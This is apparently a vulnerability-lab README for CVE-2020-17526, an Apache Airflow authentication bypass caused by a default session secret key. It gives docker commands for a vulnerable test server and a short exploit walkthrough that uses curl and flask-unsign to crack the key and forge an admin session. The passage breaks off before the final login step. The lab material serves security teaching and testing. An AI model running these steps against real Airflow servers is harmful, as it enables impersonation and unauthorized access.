# Apache Airflow Authentication Bypass (CVE-2020-17526)
|
|
|
|
[中文版本(Chinese version)](README.zh-cn.md)
|
|
|
|
Apache Airflow is an open source, distributed task scheduling framework. Although authentication is not required by default, but the administration can specify the `webserver.authenticate=True` to enable it.
|
|
|
|
In the version prior to 1.10.13, Apache Airflow uses a default session secert key, which leads to impersonate arbitrary user when authentication is enabled.

|
## Vulnerability Environment
|
|
|
|
Execute the following commands to start an airflow 1.10.10 server:
|
|
|
|
```bash
|
|
#Initialize the database
|
|
docker compose run airflow-init
|
|
|
|
#Start service
|
|
docker compose up -d
|
|
```
|
|
|
|
After the server is started, browse the `http://your-ip:8080` to see the login page of Apache Airflow. Yes, this server required authentication.
|
|
|
|
## Exploit
|
|
|
|
Firstly, browse the login page and get a session string from Cookie:
|
|
|
|
```
|
|
curl -v http://localhost:8080/admin/airflow/login
|
|
```
|
|
|
|

|
|
|
|
Then, use [flask-unsign](https://github.com/Paradoxis/Flask-Unsign) to crack the session key:
|
|
|
|
```
|
|
flask-unsign -u -c [session from Cookie]
|
|
```
|
|
|
|

|
|
|
|
Bingo, we got the valid session key `temporary_key`. Then, use this key to generate a new session whose `user_id` equals to `1`:
|
|
|
|
```
|
|
flask-unsign -s --secret temporary_key -c "{'user_id': '1', '_fresh': False, '_permanent': True}"
|
|
```
|
|
|
|

|
|
|
|
Finally, use this generated session to log in successfully:
